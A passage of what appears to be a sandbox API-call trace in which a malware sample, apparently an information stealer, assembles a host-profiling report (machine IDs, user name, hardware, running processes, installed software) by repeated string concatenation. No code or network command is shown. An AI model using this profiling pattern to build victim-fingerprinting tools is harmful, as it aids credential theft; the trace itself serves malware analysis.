identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001"
[0054.971] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]"
[0054.971] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- 